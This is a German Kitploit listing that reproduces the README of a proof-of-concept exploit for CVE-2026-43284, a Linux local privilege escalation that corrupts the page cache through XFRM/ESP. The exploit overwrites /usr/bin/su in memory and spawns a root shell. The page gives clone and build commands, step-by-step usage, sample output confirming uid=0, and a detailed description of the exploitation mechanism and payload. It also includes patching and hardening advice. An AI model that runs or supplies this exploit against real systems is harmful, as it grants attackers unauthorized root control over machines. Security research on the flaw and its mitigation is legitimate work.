Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-43284-DirtyFrag-PoC — Proof-of-Concept für CVE-2026-43284 — 4-Byte XFRM/ESP Page-Cache-Schreib-Primitive, um eine setuid-Binärdatei zu patchen (x86_64, Benutzernamensräume). Beinhaltet Kernel-Preflight + SUID-Scan. | Kitploit
Tools/GitHubGitHub/jayhutajulu1/cve-2026-43284-dirtyfrag-poc
Privilege EscalationSchwachstellenanalyseExploitationPenetrationstestsLernen & BildungBinary-Exploitation
GitHubjayhutajulu1/cve-2026-43284-dirtyfrag-poc

CVE-2026-43284-DirtyFrag-PoC

Proof-of-Concept für CVE-2026-43284 — 4-Byte XFRM/ESP Page-Cache-Schreib-Primitive, um eine setuid-Binärdatei zu patchen (x86_64, Benutzernamensräume). Beinhaltet Kernel-Preflight + SUID-Scan.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
12vor 1 MonatNoch nicht geprüft

CVE-2026-43284 — 4-byte XFRM/ESP

CVE Platform Type Status

Proof-of-Concept zur lokalen Privilegienausweitung mittels XFRM/ESP-Seitencache-Korruption
4-Byte-Schreibprimitive · 48 Iterationen · 192-Byte-ELF-Überschreibung · unprivilegierter Benutzer + netns


Proof of Concept

Preflight-Prüfungen und Exploit-Phasen auf WSL2 Ubuntu 24.04 Erfolgreiche Root-Shell mit uid=0-Verifizierung

Links: Kernel-Preflight, setuid-Scan und Exploit-Kette  ·  Rechts: Root-Shell gestartet — id / whoami bestätigen uid=0(root)
Getestet auf WSL2 · Ubuntu 24.04.1 LTS · Kernel 6.6.87.2-microsoft-standard-WSL2


root@kitploit:~
  ╔═══════════════════════════════════════╗
  ║  SLEY - CVE-2026-43284 dirtyfrag PoC  ║
  ╚═══════════════════════════════════════╝

Haftungsausschluss: Nur für autorisierte Sicherheitsforschung, Bildung und Tests an Systemen, die Ihnen gehören oder für die Sie ausdrückliche Testgenehmigung haben. Die Autoren haften nicht für Missbrauch.


Übersicht

Funktioniert auch, wenn algif_aead auf der Blacklist steht – der Exploit nutzt direkt den XFRM/ESP-Kernel-Codepfad.


Funktionen

Eingebaute Preflight-Prüfungen vor der Ausnutzung:

  1. Kernel-Konfiguration – prüft CONFIG_USER_NS, CONFIG_XFRM, CONFIG_INET_ESP
    (liest /boot/config-*, /lib/modules/*/config oder /proc/config.gz unter WSL2)
  2. Setuid-Scan – listet SUID-Binaries im System auf (find / -perm -4000)
  3. Exploit – patcht den Seitencache, startet Root-Shell über PTY, stellt Ziel beim Beenden wieder her

Voraussetzungen

Kernel-Optionen

root@kitploit:~
CONFIG_USER_NS=y
CONFIG_XFRM=y
CONFIG_INET_ESP=m   # oder =y

Schnellprüfung:

root@kitploit:~
# Bare Metal / VM
grep -E 'CONFIG_XFRM=|CONFIG_INET_ESP=|CONFIG_USER_NS=' /boot/config-$(uname -r)

# WSL2
zcat /proc/config.gz | grep -E 'CONFIG_XFRM=|CONFIG_INET_ESP=|CONFIG_USER_NS='

Sonstiges

  • Linux-Kernel anfällig für CVE-2026-43284 (siehe Patch-Status)
  • gcc, libc, libutil (für forkpty)
  • Lesbare setuid-Zielbinary (Standard: /usr/bin/su)

Bauen

root@kitploit:~
git clone https://github.com/jayhutajulu1/CVE-2026-43284.git
cd CVE-2026-43284
make

Oder manuell:

root@kitploit:~
gcc -O0 -Wall -o sley-dirtyfrag sley-dirtyfrag.c -lutil

-O0 ist beabsichtigt – Optimierung kann zeitkritisches Splice/UDP-Verhalten beeinträchtigen.


Verwendung

1. Bestätigen Sie, dass Sie keine privilegierten Rechte haben

root@kitploit:~
id
# uid=1000(ihrbenutzer) gid=1000(ihrbenutzer) groups=...

2. Führen Sie den Exploit aus

root@kitploit:~
./sley-dirtyfrag                  # Standardziel: /usr/bin/su
./sley-dirtyfrag /usr/bin/passwd  # benutzerdefinierte setuid-Binary

Das Tool führt drei automatisierte Phasen aus:

PhaseWas passiert

3. Root-Zugriff verifizieren

Innerhalb der gestarteten Shell:

root@kitploit:~
id
# uid=0(root) gid=0(root) groups=0(root)

whoami
# root

4. Beenden zum Wiederherstellen

Drücken Sie Strg+D oder geben Sie exit ein. Der PoC verwirft den Seitencache, so dass die ursprüngliche Binärdatei auf der Festplatte automatisch wiederhergestellt wird.

Falls die Wiederherstellung fehlschlägt:

root@kitploit:~
echo 3 | sudo tee /proc/sys/vm/drop_caches

Befehlsreferenz

Beispielausgabe

root@kitploit:~
┌─[ Phase 1] Kernel-Konfigurations-Preflight
  → /proc/config.gz
  [+] CONFIG_USER_NS        = y  (erforderlich =y)
  [+] CONFIG_XFRM           = y  (erforderlich =y)
  [+] CONFIG_INET_ESP       = m  (erforderlich =m oder =y)
  Kernel-Optionen OK.

┌─[ Phase 2] setuid-Binary-Scan
  10 /usr/bin/su  ← Ziel
  14 setuid-Binaries gefunden.

┌─[ Phase 3] Exploit
  [*] unshare userns+netns, registriere 48 XFRM SA, splice→UDP 4500...
  [+] korrupt               alle Iterationen abgeschlossen
  [+] verifiziere           ELF-Patch erkannt

  ╔══════════════════════════════════════╗
  ║  Root-Shell — Beenden zum            ║
  ║  Wiederherstellen                    ║
  ╚══════════════════════════════════════╝

Abhilfe

Kernel-Patch anwenden (empfohlen)

Behoben inf4c50a4034e6 (Mainline, 8. Mai 2026)
Eingeführt incac2661c53f3 (Jan. 2017)

Maßnahme: Aktualisieren Sie auf einen Distributionskernel, der den Fix enthält, oder bauen Sie aus einem gepatchten Mainline-Baum.

root@kitploit:~
# Prüfen Sie Ihren laufenden Kernel
uname -r

# Überprüfen Sie, ob der Fix vorhanden ist (Beispiel – an die Paketbenennung Ihrer Distribution anpassen)
# apt update && apt install --only-upgrade linux-image-$(uname -r)

Härtungsoptionen (Defense in Depth)

Unprivilegierte Benutzer-Namespaces einschränken

Dieser Exploit ist auf unshare(CLONE_NEWUSER | CLONE_NEWNET) ohne Root angewiesen.

root@kitploit:~
# Laufzeit (existiert möglicherweise nicht auf allen Kernen)
sysctl kernel.unprivileged_userns_clone=0

# Oder zur Bauzeit deaktivieren
# CONFIG_USER_NS is not set

Hinweis: Das Deaktivieren von Benutzer-Namespaces blockiert diesen PoC, aber nicht unbedingt CVE-2026-43500 (rxrpc-Variante für Systeme ohne userns).

setuid-Binaries prüfen

root@kitploit:~
find / -perm -4000 -type f 2>/dev/null
# Entfernen oder härten Sie nicht benötigte Binaries

Caches nach einem vermuteten Kompromiss löschen

Wenn Sie glauben, dass eine setuid-Binary im Speicher gepatcht wurde:

root@kitploit:~
echo 3 | sudo tee /proc/sys/vm/drop_caches
# Überprüfen Sie die Integrität der Binary erneut über den Paketmanager / bekannten Hash

Funktionsweise

  1. unshare(CLONE_NEWUSER | CLONE_NEWNET) – isolierter Benutzer-/Netzwerk-Namespace (kein Root erforderlich).
  2. 48 XFRM-Sicherheitsassoziationen registrieren – Shellcode-Bytes, kodiert in ESN seq_hi (4 Bytes pro SA).
  3. Auslösen über UDP-Port 4500 mit UDP_ENCAP_ESPINUDP:
    • splice() liest die Zieldatei in eine Pipe
    • splice() verschiebt Daten von der Pipe → UDP-Socket
    • Die Page-Cache-Seite gelangt über den skip_cow-Pfad in die ESP-Streu-/Sammelliste
    • authencesn Scatterwalk schreibt seq_hi an assoclen + cryptlen
  4. HMAC schlägt fehl – aber der Page-Cache-Schreibvorgang bleibt bestehen.
  5. Ausführen der gepatchten setuid-Binary – minimales ELF führt setuid(0) / setgid(0) / aus.

Getestete Umgebungen

UmgebungKernel
WSL2 Ubuntu 24.04.1 LTS6.6.87.2-microsoft-standard-WSL2
Ubuntu 24.04anfällige Builds
Fedora 44anfällige Builds

Verwandte Arbeiten

  • CVE-2026-43500 – rxrpc-Variante für Systeme ohne Benutzer-Namespaces; zielt auf /etc/passwd mit einer 8-Byte-pcbc(fcrypt)-Brute-Force-Primitive ab. Nicht in diesem Repository enthalten.

Dateien


Lizenz

Wird wie besehen für Forschungs- und Bildungszwecke bereitgestellt. Verantwortungsvoll nutzen.


Autor

SLEY — CVE-2026-43284 dirtyfrag PoC

Falls dies Ihrer Forschung geholfen hat, erwägen Sie, dem Repository einen Stern zu geben.

Tool herunterladen
CVECVE-2026-43284
TypLokale Privilegienausweitung (LPE)
VektorXFRM / ESP-UDP (UDP_ENCAP_ESPINUDP) Page-Cache-Korruption
Primitive4 Bytes pro Iteration (ESN seq_hi)
Payload192-Byte x86_64 ELF (setuid(0) + setgid(0) + execve("/bin/sh"))
Standardziel/usr/bin/su
Architekturnur x86_64
Erforderliche BerechtigungenUnprivilegierter Benutzer (verwendet Benutzer- und Netzwerk-Namespaces)
1Kernel-Konfigurations-Preflight (CONFIG_USER_NS, CONFIG_XFRM, CONFIG_INET_ESP)
2Systemweiter setuid-Binary-Scan; hebt das Standardziel hervor
3Ziel sichern → Seitencache patchen (48× 4-Byte-Schreibvorgänge) → Root-Shell starten
BefehlBeschreibung
./sley-dirtyfragExploit gegen /usr/bin/su (Standard)
./sley-dirtyfrag /pfad/zu/suidExploit gegen eine benutzerdefinierte setuid-Binary
makesley-dirtyfrag bauen
make cleanBinary entfernen
MaßnahmeWirkung
Kernel patchen / aktualisierenBeseitigt den zugrunde liegenden Page-Cache-Schreibfehler
Benutzer-Namespaces einschränkenBlockiert diesen PoC (erfordert CONFIG_USER_NS)
Nicht benötigte setuid-Binaries entfernenReduziert brauchbare Ziele (chmod u-s oder deinstallieren)
Lockdown / LSM (SELinux, AppArmor)Kann je nach Richtlinie die Post-Exploitation-Auswirkungen begrenzen
XFRM + UDP/4500 überwachenAnomale SA-Registrierungen und ESP-in-UDP-Verkehr aus unprivilegierten Namespaces erkennen
execve("/bin/sh")
  • Beim Beenden der Shell – Seitencache löschen (posix_fadvise), so dass der Kernel die saubere Datei von der Festplatte neu lädt.
  • DateiBeschreibung
    sley-dirtyfrag.cExploit-Quellcode
    MakefileBuild-Hilfe
    proof-of-concept-1.jpgPoC-Screenshot – Preflight + Exploit
    proof-of-concept-2.jpgPoC-Screenshot – Root-Shell-Verifizierung
    README.mdDiese Datei